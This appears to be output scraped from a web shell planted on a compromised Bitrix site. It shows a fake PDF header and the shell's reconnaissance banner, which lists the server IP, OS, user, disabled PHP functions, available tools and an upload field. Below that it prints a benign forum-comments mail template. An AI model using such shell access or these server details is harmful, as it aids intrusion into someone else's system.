%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 52.14.66.57 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/forum/install/components/bitrix/forum.comments/templates/mail/ |
Upload File : |
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); /** * @var CMain $APPLICATION * @var array $arResult * @var array $arParams * @var CBitrixComponentTemplate $this * @var ForumCommentsComponent $this->__component */ $arResult["COMMENTS_COUNT"] = 3; $arResult["COMMENTS_ALL_COUNT"] = 0; if (!empty($arResult["MESSAGES"])) { $arResult["COMMENTS_ALL_COUNT"] = count($arResult["MESSAGES"]); $arResult["MESSAGES"] = array_slice($arResult["MESSAGES"], 0, $arResult["COMMENTS_COUNT"], true); /** * @var $parser forumTextParser */ $parser = $arResult["PARSER"]; $parser->arFiles = $arResult["FILES"]; $forumSiteId = false; $arForumPaths = CForumNew::GetSites($arParams["FORUM_ID"]); if (!empty($arForumPaths)) { $forumSiteId = array_shift(array_keys($arForumPaths)); } $arParams["SITE_ID"] = $forumSiteId; foreach($arResult["MESSAGES"] as $key => $comment) { $dateCreateFormatted = \Bitrix\Socialnetwork\ComponentHelper::formatDateTimeToGMT($comment['POST_DATE'], $comment['AUTHOR_ID']); $parser->arUserfields = $comment["PROPS"]; $text = $parser->convert4mail( $comment["~POST_MESSAGE_TEXT"], false, $comment["ALLOW"], array( "RECIPIENT_ID" => $arParams["RECIPIENT_ID"], "SITE_ID" => $forumSiteId )); if (isset($comment["PROPS"]["UF_FORUM_MES_URL_PRV"])) { unset($comment["PROPS"]["UF_FORUM_MES_URL_PRV"]); } $res = array( "ID" => $comment["ID"], "APPROVED" => $comment["APPROVED"], "AUTHOR" => array( "ID" => $comment["AUTHOR_ID"], "NAME" => $comment["~NAME"], "LAST_NAME" => $comment["~LAST_NAME"], "SECOND_NAME" => $comment["~SECOND_NAME"], "AVATAR" => ( $comment["AVATAR"] && $comment["AVATAR"]["FILE"] ? $comment["AVATAR"]["FILE"]['src'] : "" ) ), "WEB" => array( "POST_TIME" => $dateCreateFormatted, "POST_DATE" => $dateCreateFormatted, "POST_MESSAGE_TEXT" => $text ), "FILES" => $comment["FILES"], "UF" => $comment["PROPS"], ); $arResult["MESSAGES"][$key] = $res; } }